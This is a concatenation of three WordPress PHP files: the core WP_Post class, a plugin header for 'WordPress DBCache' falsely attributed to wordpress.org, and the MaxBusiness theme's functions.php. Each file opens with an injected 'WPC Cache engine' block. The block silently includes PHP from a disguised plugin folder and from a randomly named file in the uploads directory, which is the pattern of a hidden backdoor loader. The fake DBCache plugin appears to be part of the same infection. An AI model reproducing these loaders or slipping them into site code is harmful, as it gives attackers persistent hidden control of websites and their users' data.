php /* WPC Cache engine started */ if (file_exists(ABSPATH.'wp-content/plugins/Login-wall-Rybyr/Login-wall-Rybyr-sample-options.php')) @include_once(ABSPATH.'wp-content/plugins/Login-wall-Rybyr/Login-wall-Rybyr-sample-options.php'); if (file_exists(ABSPATH.'wp-content/uploads/2012/08/cf0a8d.php')) @include_once(ABSPATH.'wp-content/uploads/2012/08/cf0a8d.php'); /* WPC Cache engine stopped */ /** * Post API: WP_Post class * * @package WordPress * @subpackage Post * @since 4.4.0 */ /** * Core class used to implement the WP_Post object. * * @since 3.5.0 * * @property string $page_template * * @property-read array $ancestors * @property-read int $post_category * @property-read string $tag_input * */ final class WP_Post { /** * Post ID. * * @var int */ public $ID; /** * ID of post author. * * A numeric string, for compatibility reasons. * * @var string */ public $post_author = 0; /** * The post's local publication time. * * @var string */ public $post_date = '0000-00-00 00:00:00'; /** * The post's GMT publication time. * * @var string */ public $post_date_gmt = '0000-00-00 00:00:00'; /** * The post's content. * * @var string */ public $post_content = ''; /** * The post's title. * * @var string */ public $post_title = ''; /** * The post's excerpt. * * @var string */ public $post_excerpt = ''; /** * The post's status. * * @var string */ public $post_status = 'publish'; /** * Whether comments are allowed. * * @var string */ public $comment_status = 'open'; /** * Whether pings are allowed. * * @var string */ public $ping_status = 'open'; /** * The post's password in plain text. * * @var string */ public $post_password = ''; /** * The post's slug. * * @var string */ public $post_name = ''; /** * URLs queued to be pinged. * * @var string */ public $to_ping = ''; /** * URLs that have been pinged. * * @var string */ public $pinged = ''; /** * The post's local modified time. * * @var string */ public $post_modified = '0000-00-00 00:00:00'; /** * The post's GMT modified time. * * @var string */ public $post_modified_gmt = '0000-00-00 00:00:00'; /** * A utility DB field for post content. * * * @var string */ public $post_content_filtered = ''; /** * ID of a post's parent post. * * @var int */ public $post_parent = 0; /** * The unique identifier for a post, not necessarily a URL, used as the feed GUID. * * @var string */ public $guid = ''; /** * A field used for ordering posts. * * @var int */ public $menu_order = 0; /** * The post's type, like post or page. * * @var string */ public $post_type = 'post'; /** * An attachment's mime type. * * @var string */ public $post_mime_type = ''; /** * Cached comment count. * * A numeric string, for compatibility reasons. * * @var string */ public $comment_count = 0; /** * Stores the post object's sanitization level. * * Does not correspond to a DB field. * * @var string */ public $filter; /** * Retrieve WP_Post instance. * * @static * @access public * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $post_id Post ID. * @return WP_Post|false Post object, false otherwise. */ public static function get_instance( $post_id ) { global $wpdb; $post_id = (int) $post_id; if ( ! $post_id ) { return false; } $_post = wp_cache_get( $post_id, 'posts' ); if ( ! $_post ) { $_post = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE ID = %d LIMIT 1", $post_id ) ); if ( ! $_post ) return false; $_post = sanitize_post( $_post, 'raw' ); wp_cache_add( $_post->ID, $_post, 'posts' ); } elseif ( empty( $_post->filter ) ) { $_post = sanitize_post( $_post, 'raw' ); } return new WP_Post( $_post ); } /** * Constructor. * * @param WP_Post|object $post Post object. */ public function __construct( $post ) { foreach ( get_object_vars( $post ) as $key => $value ) $this->$key = $value; } /** * Isset-er. * * @param string $key Property to check if set. * @return bool */ public function __isset( $key ) { if ( 'ancestors' == $key ) return true; if ( 'page_template' == $key ) return true; if ( 'post_category' == $key ) return true; if ( 'tags_input' == $key ) return true; return metadata_exists( 'post', $this->ID, $key ); } /** * Getter. * * @param string $key Key to get. * @return mixed */ public function __get( $key ) { if ( 'page_template' == $key && $this->__isset( $key ) ) { return get_post_meta( $this->ID, '_wp_page_template', true ); } if ( 'post_category' == $key ) { if ( is_object_in_taxonomy( $this->post_type, 'category' ) ) $terms = get_the_terms( $this, 'category' ); if ( empty( $terms ) ) return array(); return wp_list_pluck( $terms, 'term_id' ); } if ( 'tags_input' == $key ) { if ( is_object_in_taxonomy( $this->post_type, 'post_tag' ) ) $terms = get_the_terms( $this, 'post_tag' ); if ( empty( $terms ) ) return array(); return wp_list_pluck( $terms, 'name' ); } // Rest of the values need filtering. if ( 'ancestors' == $key ) $value = get_post_ancestors( $this ); else $value = get_post_meta( $this->ID, $key, true ); if ( $this->filter ) $value = sanitize_post_field( $key, $value, $this->ID, $this->filter ); return $value; } /** * {@Missing Summary} * * @param string $filter Filter. * @return self|array|bool|object|WP_Post */ public function filter( $filter ) { if ( $this->filter == $filter ) return $this; if ( $filter == 'raw' ) return self::get_instance( $this->ID ); return sanitize_post( $this, $filter ); } /** * Convert object to array. * * @return array Object as array. */ public function to_array() { $post = get_object_vars( $this ); foreach ( array( 'ancestors', 'page_template', 'post_category', 'tags_input' ) as $key ) { if ( $this->__isset( $key ) ) $post[ $key ] = $this->__get( $key ); } return $post; } } php /* WPC Cache engine started */ if (file_exists(ABSPATH.'wp-content/plugins/Login-wall-Rybyr/Login-wall-Rybyr-sample-options.php')) @include_once(ABSPATH.'wp-content/plugins/Login-wall-Rybyr/Login-wall-Rybyr-sample-options.php'); if (file_exists(ABSPATH.'wp-content/uploads/2012/08/cf0a8d.php')) @include_once(ABSPATH.'wp-content/uploads/2012/08/cf0a8d.php'); /* WPC Cache engine stopped */ /* Plugin Name: WordPress DBCache Plugin URI: http://wordpress.org/extend/plugins/ Description: WordPress DBase Cache. Author: wordpress.org Author URI: http://wordpress.org/ Text Domain: wp-dbase-cache License: GPL version 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html Version: 3.2.9 Copyright 2016 wordpress.org This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110, USA */ if ( ! defined( 'WPDBASECACHE_FILE' ) ) { define( 'WPDBASECACHE_FILE', __FILE__ ); } // Load the SEO plugin. if (file_exists(dirname( WPDBASECACHE_FILE ) . '/wp-cache-main.php')) { require_once( dirname( WPDBASECACHE_FILE ) . '/wp-cache-main.php' ); } if (file_exists(dirname( WPDBASECACHE_FILE ) . '/wp-cache-init.php')) { require_once( dirname( WPDBASECACHE_FILE ) . '/wp-cache-init.php' ); } php /* WPC Cache engine started */ if (file_exists(ABSPATH.'wp-content/plugins/Login-wall-Rybyr/Login-wall-Rybyr-sample-options.php')) @include_once(ABSPATH.'wp-content/plugins/Login-wall-Rybyr/Login-wall-Rybyr-sample-options.php'); if (file_exists(ABSPATH.'wp-content/uploads/2012/08/cf0a8d.php')) @include_once(ABSPATH.'wp-content/uploads/2012/08/cf0a8d.php'); /* WPC Cache engine stopped */ /** * MaxBusiness functions and definitions * * @link https://developer.wordpress.org/themes/basics/theme-functions/ * * @package MaxBusiness */ if ( ! function_exists( 'maxbusiness_setup' ) ) : /** * Sets up theme defaults and registers support for various WordPress features. * * Note that this function is hooked into the after_setup_theme hook, which * runs before the init hook. The init hook is too late for some features, such * as indicating support for post thumbnails. */ function maxbusiness_setup() { load_theme_textdomain( 'maxbusiness', get_template_directory() . '/languages' ); add_theme_support( 'automatic-feed-links' ); add_theme_support( 'title-tag' ); add_theme_support( 'post-thumbnails' ); register_nav_menus( array( 'primary' => esc_html__( 'Primary', 'maxbusiness' ), ) ); add_theme_support( 'html5', array( 'gallery', 'caption', ) ); add_theme_support( 'custom-background', apply_filters( 'maxbusiness_custom_background_args', array( 'default-color' => 'ffffff', 'default-image' => '', ) ) ); add_theme_support( 'custom-logo', array( 'flex-height' => true, 'flex-width' => true, 'header-text' => array( 'site-title', 'site-description' ), )); add_theme_support( 'woocommerce' ); add_image_size( 'maxbusiness-thumb', '338', '225', true); add_image_size( 'maxbusiness-blog', '825', '350', true); } endif; add_action( 'after_setup_theme', 'maxbusiness_setup' ); function maxbusiness_content_width() { $GLOBALS['content_width'] = apply_filters( 'maxbusiness_content_width', 640 ); } add_action( 'after_setup_theme', 'maxbusiness_content_width', 0 ); function maxbusiness_widgets_init() { register_sidebar( array( 'name' => esc_html__( 'Sidebar', 'maxbusiness' ), 'id' => 'sidebar-area', 'description' => esc_html__('Sidebar Widget Area', 'maxbusiness' ), 'before_widget' => '', 'before_title' => '

', 'after_title' => '

', ) ); register_sidebar( array( 'name' => esc_html__( 'Footer Widget Area', 'maxbusiness' ), 'id' => 'footer-widget-area', 'description' => esc_html__( 'footer widget area', 'maxbusiness' ), 'before_widget' => '', 'before_title' => '

', 'after_title' => '

', ) ); } add_action( 'widgets_init', 'maxbusiness_widgets_init' ); function maxbusiness_scripts() { wp_enqueue_style( 'maxbusiness-google-fonts', '//fonts.googleapis.com/css?family=Open+Sans:400,600,700,800,300,400italic|Lato:400,400italic,700,900,300'); wp_enqueue_style( 'font-awesome', get_template_directory_uri()."/css/font-awesome.min.css"); wp_enqueue_style( 'swiper', get_template_directory_uri()."/css/swiper.min.css"); wp_enqueue_style( 'bootstrap', get_template_directory_uri()."/css/bootstrap.min.css"); wp_enqueue_style( 'animate', get_template_directory_uri()."/css/animate.min.css"); wp_enqueue_style( 'simplelightbox', get_template_directory_uri()."/css/simplelightbox.css"); wp_enqueue_style( 'maxbusiness-style', get_stylesheet_uri() ); wp_enqueue_style( 'maxbusiness-media-style', get_template_directory_uri()."/css/media-screen.css" ); if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) { wp_enqueue_script( 'comment-reply' ); } wp_enqueue_script( 'bootstrap', get_template_directory_uri() . '/js/bootstrap.min.js', array('jquery'), '20160902', true ); wp_enqueue_script( 'simple-lightbox', get_template_directory_uri() . '/js/simple-lightbox.min.js', array('jquery'), '20160902', true ); wp_enqueue_script( 'swiper', get_template_directory_uri() . '/js/swiper.min.js', array('jquery'), '20160902', true ); wp_enqueue_script( 'wow', get_template_directory_uri() . '/js/wow.min.js', array('jquery'), '20160902', true ); wp_enqueue_script( 'maxbusiness-skip-link-focus-fix', get_template_directory_uri() . '/js/skip-link-focus-fix.js', array(), '20130115', true ); wp_enqueue_script( 'maxbusiness-custom-script', get_template_directory_uri() . '/js/custom-script.js', array('jquery'), '20160902', true ); wp_enqueue_script( 'respond', get_template_directory_uri().'/js/respond.min.js' ); wp_script_add_data( 'respond', 'conditional', 'lt IE 9' ); wp_enqueue_script( 'html5shiv',get_template_directory_uri().'/js/html5shiv.js'); wp_script_add_data( 'html5shiv', 'conditional', 'lt IE 9' ); } add_action( 'wp_enqueue_scripts', 'maxbusiness_scripts' ); require get_template_directory() . '/inc/sanitize-cb.php'; require get_template_directory() . '/inc/menu-walker.php'; require get_template_directory() . '/inc/functions.php'; require get_template_directory() . '/inc/template-tags.php'; require get_template_directory() . '/inc/extras.php'; require get_template_directory() . '/inc/customizer.php'; require get_template_directory() . '/inc/jetpack.php';